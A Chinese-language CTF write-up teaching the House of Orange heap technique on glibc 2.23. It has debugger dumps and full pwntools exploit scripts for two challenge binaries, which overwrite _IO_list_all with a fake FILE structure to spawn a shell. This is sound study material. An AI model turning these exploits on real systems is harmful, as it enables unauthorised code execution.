基础知识 针对类型
程序中没有free函数
程序存在堆溢出,可以修改top chunk
使用libc版本:2.23-2.24
2.27不适用原因:取消了abort刷新流的操作
步骤 2.23
堆溢出修改top chunk
申请比top chunk size大的chunk => top chunk放到unsorted bin中
利用unsorted bin attack结合FSOP(修改IO_list_all劫持到伪造的IO_FILE结构上) => getshell。
2.24
待更新
方法 free topchunk 申请size>top chunk,调用sysmalloc分配,分为两种情况:
size>=mp_.mmap_threshold(0x20000),mmap分配
否则,释放原来的topchunk,并申请一个新的topchunk
绕过检查
具体看参考的,这里只记录方法
top chunk的size:0x20af1 =>修改为0xaf1,即只保留后三位
申请0x1000大小即可
largebin链 解链unsorted bin
的时候,会先把unsorted bin chunk
放在large bin
中,就会在fd_nextsize
和bk_nextsize
上留下堆地址
fsop
利用unosortedbin attack修改_IO_list_all
,即修改bk为_IO_list_all-0x10
如果main_arena + 88
作为文件流地址,那么它的chain
指针对应的是smallbin[0x60]
。
伪造fake IOFILE,大小为0x60,放入small bin中
题目 houseoforange_hitcon_2016
house of orange经典题目
程序流程
build:创建。一共创建三个chunk
第一个chunk:0x10大小,存放house指针和orange指针
第二个chunk:指定size创建chunk,填入content
第三个chunk:0x8大小,存放price和color
see:打印chunk内容
upgrade:重新指定size,修改chunk内容。故存在堆溢出
漏洞利用
程序没有free函数,且存在堆溢出,故使用house of orange技术。
因为程序中没有free函数且存在堆溢出,故修改top chunk内容,再malloc一个大chunk,从而获得一个unsortedbin。
接着分割unsortedbin,得到largebin,从而泄露libc_base和heap_base
将old top chunk大小修改为0x60,并伪造io file。
利用unsortedbin attack修改_IO_list_all
,使得0x60的chunk对应_IO_list_all
的_chain
再次malloc,由于unsortedbin attack后,unsortedbin链异常,故会触发malloc异常,刷新流,找到伪造的io file
详细过程 0.基本信息 1 2 3 4 5 6 7 8 9 10 11 winter@ubuntu:~/buu$ file houseoforange_hitcon_2016 houseoforange_hitcon_2016: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped winter@ubuntu:~/buu$ checksec houseoforange_hitcon_2016 [*] '/home/winter/buu/houseoforange_hitcon_2016' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
1.分配一个块
用来溢出修改top chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5555555a2000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5555555a2020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5555555a2040 Size: 0x21 Top chunk | PREV_INUSE Addr: 0x5555555a2060 Size: 0x20fa1
1 2 3 4 5 6 7 8 9 pwndbg> x/30gx 0x5555555a2000 0x5555555a2000: 0x0000000000000000 0x0000000000000021#存放house和orange指针的chunk 0x5555555a2010: 0x00005555555a2050 0x00005555555a2030 0x5555555a2020: 0x0000000000000000 0x0000000000000021#存放house内容的chunk,可以溢出 0x5555555a2030: 0x0000000000000061 0x0000000000000000 0x5555555a2040: 0x0000000000000000 0x0000000000000021#存放price和color的chunk 0x5555555a2050: 0x0000001f00000001 0x0000000000000000 0x5555555a2060: 0x0000000000000000 0x0000000000020fa1#top chunk,保留0xfa1即可 0x5555555a2070: 0x0000000000000000 0x0000000000000000
2.溢出,修改top chunk
通过edit的堆溢出,修改top chunk为0xfa1
1 2 3 4 5 payload = 'a' * 0x18 payload += p64(0x21 ) payload += p32(1 )+p32(0x1f ) + p64(0 ) payload += p64(0 ) + p64(0xfa1 ) edit(len(payload),payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555556341000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555556341020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555556341040 Size: 0x21 Top chunk | PREV_INUSE Addr: 0x555556341060 Size: 0xfa1
1 2 3 4 5 6 7 8 9 10 pwndbg> x/30gx 0x555556341000 0x555556341000: 0x0000000000000000 0x0000000000000021 0x555556341010: 0x0000555556341050 0x0000555556341030 0x555556341020: 0x0000000000000000 0x0000000000000021 0x555556341030: 0x6161616161616161 0x6161616161616161 0x555556341040: 0x6161616161616161 0x0000000000000021 0x555556341050: 0x0000ddaa00000001 0x0000000000000000 0x555556341060: 0x0000000000000000 0x0000000000000fa1 0x555556341070: 0x0000000000000000 0x0000000000000000 0x555556341080: 0x0000000000000000 0x0000000000000000
3.申请大块,释放top chunk
申请一个大于0xfa1的chunk,如0x1000,old top chunk会被放入unsortedbin中,并会申请一个新的top chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555557493000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555557493020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555557493040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555557493060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555557493080 Size: 0x21 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5555574930a0 Size: 0xf41 fd: 0x7fcd0ff56b78 bk: 0x7fcd0ff56b78 Allocated chunk Addr: 0x555557493fe0 Size: 0x10 Allocated chunk | PREV_INUSE Addr: 0x555557493ff0 Size: 0x11 Allocated chunk Addr: 0x555557494000 Size: 0x00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x5555574930a0 —▸ 0x7fcd0ff56b78 (main_arena+88) ◂— 0x5555574930a0 smallbins empty largebins empty
4.切割old topchunk为large chunk
large chunk中留有libc_base和heap_base,可以show出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555556494000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555556494020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555556494040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555556494060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555556494080 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5555564940a0 Size: 0x21 Allocated chunk | PREV_INUSE#申请来的chunk Addr: 0x5555564940c0 Size: 0x411 Allocated chunk | PREV_INUSE Addr: 0x5555564944d0 Size: 0x21 Free chunk (unsortedbin) | PREV_INUSE#top chunk Addr: 0x5555564944f0 Size: 0xaf1 fd: 0x7fe4acc50b78 bk: 0x7fe4acc50b78 Allocated chunk Addr: 0x555556494fe0 Size: 0x10 Allocated chunk | PREV_INUSE Addr: 0x555556494ff0 Size: 0x11 Allocated chunk Addr: 0x555556495000 Size: 0x00
1 2 3 4 5 6 pwndbg> x/30gx 0x5555564940c0 0x5555564940c0: 0x0000000000000000 0x0000000000000411 0x5555564940d0: 0x00007fe4acc51161 0x00007fe4acc51188 0x5555564940e0: 0x00005555564940c0 0x00005555564940c0 0x5555564940f0: 0x0000000000000000 0x0000000000000000 0x555556494100: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555556494000 0x5555564d7000 rw-p 43000 0 [heap] 0x7fe4ac8b5000 0x7fe4aca4d000 r-xp 198000 0 /usr/local/glibc-2.23/lib/libc-2.23.so 0x7fe4aca4d000 0x7fe4acc4c000 ---p 1ff000 198000 /usr/local/glibc-2.23/lib/libc-2.23.so 0x7fe4acc4c000 0x7fe4acc50000 r--p 4000 197000 /usr/local/glibc-2.23/lib/libc-2.23.so 0x7fe4acc50000 0x7fe4acc52000 rw-p 2000 19b000 /usr/local/glibc-2.23/lib/libc-2.23.so
泄漏libc_base和heap_base
这里,name的时候要用send,sendline的话,会导致这里有问题,,,,
1 2 3 show() libcbase = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' )-0x39c161 log.success("libc_base:" +hex(libcbase))
1 2 3 4 5 [DEBUG] Received 0x271 bytes: 00000000 4e 61 6d 65 20 6f 66 20 68 6f 75 73 65 20 3a 20 │Name│ of │hous│e : │ 00000010 61 61 d9 d1 6e 7f 0a 50 72 69 63 65 20 6f 66 20 │aa··│n··P│rice│ of │ [...] [+] libc_base:0x7f6ed19fa000
1 2 3 4 5 6 payload = 'a' *0x18 edit(len(payload),payload) show() p.recvuntil('a' *0x18 ) heapbase = u64(p.recv(6 )+'\x00\x00' ) - 0xc0 log.success("heap_base:" +hex(heapbase))
1 2 3 4 5 [DEBUG] Received 0x29c bytes: 00000000 4e 61 6d 65 20 6f 66 20 68 6f 75 73 65 20 3a 20 │Name│ of │hous│e : │ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000020 61 61 61 61 61 61 61 61 c0 10 f0 55 55 55 0a 50 │aaaa│aaaa│···U│UU·P│ [+] heap_base:0x555555f01000
5.fsop
通过溢出,修改原来top chunk的内容。
修改size为0x60,从而unsortbin取走后放入smallbin0x60大小中
伪造io file,最开始放上’/bin/sh\x00’,IO_write_ptr=1>IO_write_base=0
,伪造vtache,在_IO_overflow放上system地址
unsortbin attack,修改_IO_list_all为&main_arena,在unsortedbin取链时,会在bk+0x10的位置写上&main_arena
再次malloc的时候,由于unsortedbin异常,故会打印错误,调用如下链:
**libc_malloc => malloc_printerr =>** libc_message => abort => _IO_flush_all_lockp
由于main_arena那个是错误的io file,会顺着_chain找下一个,也就是我们伪造的io file,从而调用system,get shell
1 2 3 4 5 6 7 8 9 10 11 12 13 _IO_list_all = libcbase + libc.sym['_IO_list_all' ] system = libcbase + libc.sym['system' ] payload = "a" *0x400 + p64(0 )+p64(0x21 )+ p64(0 )+p64(0 ) fake_file = '/bin/sh\x00' + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all - 0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file = fake_file.ljust(0xd8 ,'\x00' ) payload += fake_file payload += p64(heapbase + 0x5c8 ) payload += p64(system) * 8 edit(0x800 ,payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 Allocated chunk | PREV_INUSE Addr: 0x555556ffb0c0 Size: 0x411 Allocated chunk | PREV_INUSE Addr: 0x555556ffb4d0 Size: 0x21 Free chunk (unsortedbin) Addr: 0x555556ffb4f0 Size: 0x60 fd: 0x00 bk: 0x7fee3bd3b510
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/50gx 0x555556ffb4f0 0x555556ffb4f0: 0x0068732f6e69622f 0x0000000000000060 0x555556ffb500: 0x0000000000000000 0x00007fee3bd3b510 0x555556ffb510: 0x0000000000000000 0x0000000000000001 0x555556ffb520: 0x0000000000000000 0x0000000000000000 0x555556ffb530: 0x0000000000000000 0x0000000000000000 0x555556ffb540: 0x0000000000000000 0x0000000000000000 0x555556ffb550: 0x0000000000000000 0x0000000000000000 0x555556ffb560: 0x0000000000000000 0x0000000000000000 0x555556ffb570: 0x0000000000000000 0x0000000000000000 0x555556ffb580: 0x0000000000000000 0x0000000000000000 0x555556ffb590: 0x0000000000000000 0x0000000000000000 0x555556ffb5a0: 0x0000000000000000 0x0000000000000000 0x555556ffb5b0: 0x0000000000000000 0x0000000000000000 0x555556ffb5c0: 0x0000000000000000 0x0000555556ffb5c8 0x555556ffb5d0: 0x00007fee3b9de570 0x00007fee3b9de570 0x555556ffb5e0: 0x00007fee3b9de570 0x00007fee3b9de570 0x555556ffb5f0: 0x00007fee3b9de570 0x00007fee3b9de570 0x555556ffb600: 0x00007fee3b9de570 0x00007fee3b9de570 0x555556ffb610: 0x0000000000000000 0x0000000000000000 0x555556ffb620: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> p*((struct _IO_FILE_plus*)0x555556ffb4f0)->vtable $2 = { __dummy = 93825020179912, __dummy2 = 140661179147632, __finish = 0x7fee3b9de570 <__libc_system>, __overflow = 0x7fee3b9de570 <__libc_system>, __underflow = 0x7fee3b9de570 <__libc_system>, __uflow = 0x7fee3b9de570 <__libc_system>, __pbackfail = 0x7fee3b9de570 <__libc_system>, __xsputn = 0x7fee3b9de570 <__libc_system>, __xsgetn = 0x7fee3b9de570 <__libc_system>, __seekoff = 0x0, __seekpos = 0x0, __setbuf = 0x0, __sync = 0x0, __doallocate = 0x0, __read = 0x0, __write = 0x0, __seek = 0x0, __close = 0x0, __stat = 0x0, __showmanyc = 0x0, __imbue = 0x0 }
1 2 pwndbg> p*((struct _IO_FILE_plus*)0x555556ffb4f0)->vtable.__overflow $1 = {int (_IO_FILE *, int)} 0x7fee3b9de570 <__libc_system>
1 2 3 pwndbg> x/30gx 0x00007fee3bd3b510 0x7fee3bd3b510: 0x0000000000000000 0x0000000000000000 0x7fee3bd3b520 <__GI__IO_list_all>: 0x00007fee3bd3b540 0x0000000000000000
6.malloc报错 1 2 p.recvuntil(":" ) p.sendline("1" )
1 2 3 pwndbg> x/30gx 0x00007faf3a0b7510 0x7faf3a0b7510: 0x0000000000000000 0x0000000000000000 0x7faf3a0b7520 <__GI__IO_list_all>: 0x00007faf3a0b6b78 0x0000000000000000
1 2 pwndbg> p _IO_list_all $1 = (struct _IO_FILE_plus *) 0x7faf3a0b6b78 <main_arena+88>
1 2 3 pwndbg> x/30gx 0x00007faf3a0b6b78 + 0x60 0x7faf3a0b6bd8 <main_arena+184>: 0x0000555556b754f0 0x0000555556b754f0 0x7faf3a0b6be8 <main_arena+200>: 0x00007faf3a0b6bd8 0x00007faf3a0b6bd8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> x/30gx 0x0000555556b754f0 0x555556b754f0: 0x0068732f6e69622f 0x0000000000000060 0x555556b75500: 0x00007faf3a0b6bc8 0x00007faf3a0b6bc8 0x555556b75510: 0x0000000000000000 0x0000000000000001 0x555556b75520: 0x0000000000000000 0x0000000000000000 0x555556b75530: 0x0000000000000000 0x0000000000000000 0x555556b75540: 0x0000000000000000 0x0000000000000000 0x555556b75550: 0x0000000000000000 0x0000000000000000 0x555556b75560: 0x0000000000000000 0x0000000000000000 0x555556b75570: 0x0000000000000000 0x0000000000000000 0x555556b75580: 0x0000000000000000 0x0000000000000000 0x555556b75590: 0x0000000000000000 0x0000000000000000 0x555556b755a0: 0x0000000000000000 0x0000000000000000 0x555556b755b0: 0x0000000000000000 0x0000000000000000 0x555556b755c0: 0x0000000000000000 0x0000555556b755c8 0x555556b755d0: 0x00007faf39d5a570 0x00007faf39d5a570
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *context(log_level='debug' ,arch='amd64' ) file ='houseoforange_hitcon_2016' local=1 if local == 0 : p = process("./" +file) elf = ELF("./" +file) libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so" ) elif local == 1 : p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so" , "./" +file], env={"LD_PRELOAD" :"/usr/local/glibc-2.23/lib/libc-2.23.so" }) elf = ELF("./" +file) libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so" ) elif local == 2 : p = process("./houseoforange_hitcon_2016" , env={"LD_PRELOAD" :"/home/winter/buu/libc-2.23.so" }) elf = ELF("./" +file) libc = ELF("./libc-2.23.so" ) def cmd (choice) : p.recvuntil("choice :" ) p.sendline(str(choice)) def add (size,name,price=1 ,color=1 ) : cmd(1 ) p.recvuntil("name :" ) p.sendline(str(size)) p.recvuntil("Name :" ) p.send(name) p.recvuntil("Price of Orange" ) p.sendline(str(price)) p.recvuntil("Color of Orange" ) p.sendline(str(color)) def show () : cmd(2 ) def edit (size,name,price=1 ,color=0xddaa ) : cmd(3 ) p.recvuntil("name :" ) p.sendline(str(size)) p.recvuntil("Name:" ) p.send(name) p.recvuntil("Orange:" ) p.sendline(str(price)) p.recvuntil("Orange" ) p.sendline(str(color)) add(0x10 ,'a' ) payload = 'a' * 0x18 payload += p64(0x21 ) payload += p32(1 )+p32(0x1f ) + p64(0 ) payload += p64(0 ) + p64(0xfa1 ) edit(len(payload),payload) add(0x1000 ,'a' ) add(0x400 ,'a' ) show() if local == 0 : log.success("0:" +hex(local)) libc_base = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) elif local == 1 : log.success("1:" +hex(local)) libcbase = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' )-0x39c161 else : log.success("2:" +hex(local)) libc_base = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) - 0x3bba61 log.success("libc_base:" +hex(libcbase)) payload = 'a' *0x18 edit(len(payload),payload) show() p.recvuntil('a' *0x18 ) heapbase = u64(p.recv(6 )+'\x00\x00' ) - 0xc0 log.success("heap_base:" +hex(heapbase)) _IO_list_all = libcbase + libc.sym['_IO_list_all' ] system = libcbase + libc.sym['system' ] payload = "a" *0x400 + p64(0 )+p64(0x21 )+ p64(0 )+p64(0 ) fake_file = '/bin/sh\x00' + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all - 0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file = fake_file.ljust(0xd8 ,'\x00' ) payload += fake_file payload += p64(heapbase + 0x5c8 ) payload += p64(system) * 8 edit(0x800 ,payload) p.recvuntil(":" ) p.sendline("1" ) p.interactive()
1/2概率
1 2 3 4 5 6 7 8 9 10 11 +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : *** Error in `./houseoforange_hitcon_2016': malloc(): memory corruption: 0x00007fdf7644b520 *** [*] Got EOF while reading in interactive $
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : *** Error in `./houseoforange_hitcon_2016': malloc(): memory corruption: 0x00007f37d5976520 *** $ ls [DEBUG] Sent 0x3 bytes: 'ls\n' [DEBUG] Received 0x6e bytes: 'core\tgets\thouseoforange_hitcon_2016 magic.py orange.py\n' 'exp.py\thoo.py\tlibc-2.23.so\t\t magicheap winter.py\n' core gets houseoforange_hitcon_2016 magic.py orange.py exp.py hoo.py libc-2.23.so magicheap winter.py
参考 & 下载 附件
纵横杯2020 - wind_farm_panel
house of orange的经典题,没啥变化,,,有了上一个基础,很快能做出来
程序流程
根据菜单,只有添加、打印和修改功能,没有free功能
而且添加和修改的时候都有堆溢出,故应该用house of orange来解。
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *context.log_level = 'debug' file = "wind_farm_panel" local=1 if local == 0 : p = process("./" +file) elf = ELF("./" +file) libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so" ) elif local == 1 : p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so" , "./" +file], env={"LD_PRELOAD" :"/usr/local/glibc-2.23/lib/libc-2.23.so" }) elf = ELF("./" +file) libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so" ) elif local == 2 : p = process(["/home/winter/hoo/ld-2.23.so" , "./" +file], env={"LD_PRELOAD" :"/home/winter/hoo/libc-2.23.so" }) elf = ELF("./" +file) libc = ELF("./libc-2.23.so" ) def cmd (choice) : p.recvuntil(">> " ) p.sendline(str(choice)) def add (idx,size,content) : cmd(1 ) p.recvuntil("turned on(0 ~ 5):" ) p.sendline(str(idx)) p.recvuntil("wind turbine: " ) p.sendline(str(size)) p.recvuntil("Your name:" ) p.send(str(content)) def show (idx) : cmd(2 ) p.recvuntil(" viewed: " ) p.sendline(str(idx)) def edit (idx,content) : cmd(3 ) p.recvuntil("turbine:" ) p.sendline(str(idx)) p.recvuntil("Please input: " ) p.send(str(content)) add(0 ,0x90 ,'winter' ) payload = 'a' *0x90 payload += p64(0 ) payload += p64(0xf61 ) edit(0 ,payload) add(1 ,0x1000 ,'winter' ) add(2 ,0x400 ,'a' ) show(2 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :]+'\x00\x00' )-0x39C161 log.success(hex(libc_base)) payload = 'a' *0x11 edit(2 ,payload) show(2 ) p.recvuntil('a' *0x10 ) heapbase = u64(p.recv(6 )+'\x00\x00' )-0x61 log.success("heap_base:" +hex(heapbase)) _IO_list_all = libc_base + libc.sym['_IO_list_all' ] system = libc_base + libc.sym['system' ] payload = 'a' *0x400 fake_file = '/bin/sh\x00' + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file = fake_file.ljust(0xd8 ,'\x00' ) payload += fake_file payload += p64(heapbase + 0x588 ) payload += p64(system) * 8 edit(2 ,payload) cmd(1 ) p.recvuntil("turned on(0 ~ 5):" ) p.sendline(str(3 )) p.recvuntil("wind turbine: " ) p.sendline(str(0x90 )) p.interactive()
1 2 3 4 5 6 7 8 9 10 [DEBUG] Received 0x56 bytes: "*** Error in `./wind_farm_panel': malloc(): memory corruption: 0x00007f49da1f5520 ***\n" *** Error in `./wind_farm_panel': malloc(): memory corruption: 0x00007f49da1f5520 *** $ ls [DEBUG] Sent 0x3 bytes: 'ls\n' [DEBUG] Received 0x38 bytes: 'core ld-2.23.so libc-2.23.so\twind.py wind_farm_panel\n' core ld-2.23.so libc-2.23.so wind.py wind_farm_panel $
参考 & 下载
https://www.giantbranch.cn/2018/12/29/CTF%20PWN%E4%B9%8Bhouse%20of%20orange/
https://b0ldfrev.top/2018/11/06/House-of-orange/#FSOP
https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/28/orange/
总结 house of orange的步骤:
栈溢出,修改top chunk的大小。一般保留后三位就行。
top chunk放入了unsortbin
申请一个small bin or large bin(会从unsortbin中切)
泄漏libc(申请回来的第一行数据)
泄漏堆地址(申请回来的第二行数据)
unsortbin attack
“/bin/sh\x00” + p64(0x61) => binsh是作为fp的第一参数,0x61是因为_chains刚好在这儿,
fd随便,bk填libc.symbols['_IO_list_all']-0x10
接着是_IO_write_base和IO_write_ptr > fp,需要让fp->_IO_write_ptr > fp->_IO_write_base,故分别填0、1即可
因为vtable的偏移是0xd8,所以都填上0即可(mode需要为0)
在vtable上填上假的构造的即可,这里是system的函数地址
最后修改即可。